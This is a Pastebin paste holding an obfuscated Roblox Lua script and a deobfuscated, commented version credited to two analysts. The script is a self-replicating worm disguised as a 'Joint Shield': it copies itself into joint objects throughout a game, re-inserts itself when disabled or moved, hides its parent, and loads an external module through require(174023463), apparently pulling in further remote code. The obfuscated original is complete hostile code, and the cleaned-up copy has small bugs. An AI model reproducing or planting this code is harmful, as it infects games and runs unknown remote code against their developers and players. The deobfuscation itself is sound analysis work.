Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ---------------------------------------------------------------------------------------------------------------------------------------
- -- BEFORE
- ---------------------------------------------------------------------------------------------------------------------------------------
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{ul{\"u{bz+")then a,b,c=y[r"Eum%"],y[r"Dum%"],y[r"pr;lls("]if c==r"e{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum%"],y[r"Dum%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr;",('')[r"urmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr;lls(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi}bchm "]=true prt(y,x)x[r"u{pm%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm%"]~=y or x[r"qpsilb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi}bchm "]then x[r"psi}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"uh{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"uh{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bchpmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr;"]=knm q0=ths[r"u{pm%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- ---------------------------------------------------------------------------------------------------------------------------------------
- -- AFTER
- -- (Decrypted & Cleaned up by Osyris and 0xBAADF00D)
- -- (Note: This is as is, it may not actually work)
- ---------------------------------------------------------------------------------------------------------------------------------------
- local Workspace = game:GetService("Workspace")
- local JointsService = game:GetService("JointsService")
- local Debris = game:GetService("Debris")
- -- dt[1]: keys of dt[1] have the script in them
- -- dt[2] is operations queue
- -- dt[3]: keys of dt[2] have changed event connected to them.
- local dt = {{}, {}, {}}
- local function connectChangedEvent(parent, scriptObject)
- dt[3][scriptObject] = true
- local z = scriptObject.Changed:connect(function()
- if scriptObject.Parent ~= parent or scriptObject.Disabled then
- dt[1][parent] = nil
- dt[3][scriptObject] = nil
- copyScriptInto(y)
- z:disconnect()
- elseif not scriptObject.Archivable then
- scriptObject.Archivable = true
- end
- end)
- end
- local function copyScriptInto(object)
- if not dt[1][object] then
- local scriptClone = script:Clone()
- scriptClone.Archivable = true
- connectChangedEvent(object, scriptClone)
- scriptClone.Parent = object
- end
- end
- local function setupJoint(joint)
- if joint:IsA("JointInstnce") then
- local part0 = joint.Part0
- local part1 = joint.Part1
- local className = joint.ClassName
- if className == "Snap" then
- c0 = joint.C0
- c1 = joint.C1
- Debris:AddItem(joint, 0)
- joint = Instance.new("Weld")
- joint.Part0 = part0
- joint.Part1 = part1
- joint.C0 = c0
- joint.C1 = c1
- end
- joint.Name = string.format(joint:IsA("Motor") and "%s-to-%s Motor" or "%s-to-%s Strong Joint", tostring(part0), tostring(part1))
- joint.Parent = part0 or part1
- copyScriptInto(joint)
- end
- end
- local count = 0
- Spawn(function()
- script.Parent = nil
- wait(math.random())
- for _, child in next, JointsService:GetChildren() do
- setupJoint(child)
- end
- JointsService.ChildAdded:connect(function(child)
- wait(math.random())
- setupJoint(child)
- end)
- Workspace.DescendantAdded:connect(function(descendant)
- wait(math.random())
- if descendant:IsA("JointInstance") and not descendant:IsA("Motor") then
- copyScriptInto(descendant)
- end
- end)
- -- child queue
- local queue = Workspace:GetChildren()
- while #queue > 0 do
- count = count + 1
- -- wait() every 1000 steps
- if count == 1000 then
- count = 0
- wait()
- end
- -- remove from end of queue
- object = table.remove(queue, #queue)
- if object:IsA("JointInstance") and not object:IsA("Motor") then
- copyScriptInto(object)
- end
- -- move children of object into queue
- local children = object:GetChildren()
- for _, child in pairs(children) do
- table.insert(queue, child)
- end
- end
- -- requiring some weird script?
- Spawn(function()
- require(174023463)()
- end)
- while true do
- wait(math.random())
- for key, val in pairs(dt[2]) do
- dt[2][key] = nil
- connectChangedEvent(val,key)
- end
- end
- end)
- -- I believe this uses memory addresses, so it's somewhat randomized.
- script.Name = "Joint Shield ver. " .. (tonumber(string.sub(tostring(dt), 8, 15), 16)/8)
- -- if our parent already has a script, remove this script
- if dt[1][script.Parent] then
- Debris:AddItem(script, 0)
- else
- -- mark parent as having a script
- dt[1][script.Parent] = true
- -- if we haven't been connected to .Changed, put us in the queue to connect us to .Changed.
- if not dt[3][script] then
- dt[2][script] = script.Parent
- end
- end
- ---------------------------------------------------------------------------------------------------------------------------------------
Add Comment
Please, Sign In to add comment